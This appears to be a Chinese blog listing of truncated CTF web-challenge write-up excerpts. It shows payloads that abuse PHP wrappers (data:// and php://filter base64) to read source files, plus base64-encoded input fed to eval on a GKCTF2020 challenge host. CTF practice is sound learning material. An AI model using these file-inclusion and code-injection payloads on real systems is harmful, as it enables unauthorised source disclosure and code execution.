qq_43613772的博客

代码审计，发现要get传参text和file，而且text的内容包含I have a dream字段。flie为文件包含next.php.构造payload：?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.phpbase64解密得到next.php的源码：<?php$id = $_GET['id'];$_SESSION['id'

分析题目源码信息：<?phperror_reporting(0);//听说你很喜欢数学，不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ',

尝试admin进行登录。抓包查看一下：

1、[GKCTF2020]CheckIN1、[GKCTF2020]CheckIN代码审计：首先发现eval函数，而且是base64加密通过Ginkgo传参。构造url，查看phpinfo();，base64编码为cGhwaW5mbygpOw==http://afadb209-7e5c-4975-9f72-bede60b24a14.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==发现php版本为7.3搜索Ginkgo发现参数已以base64方式传入利用ev.

题目:We intercepted this message from one challenger to another, maybe you can find out what they were talking about.To help you on your progress I coded a small java application, called JPK.Note: Th...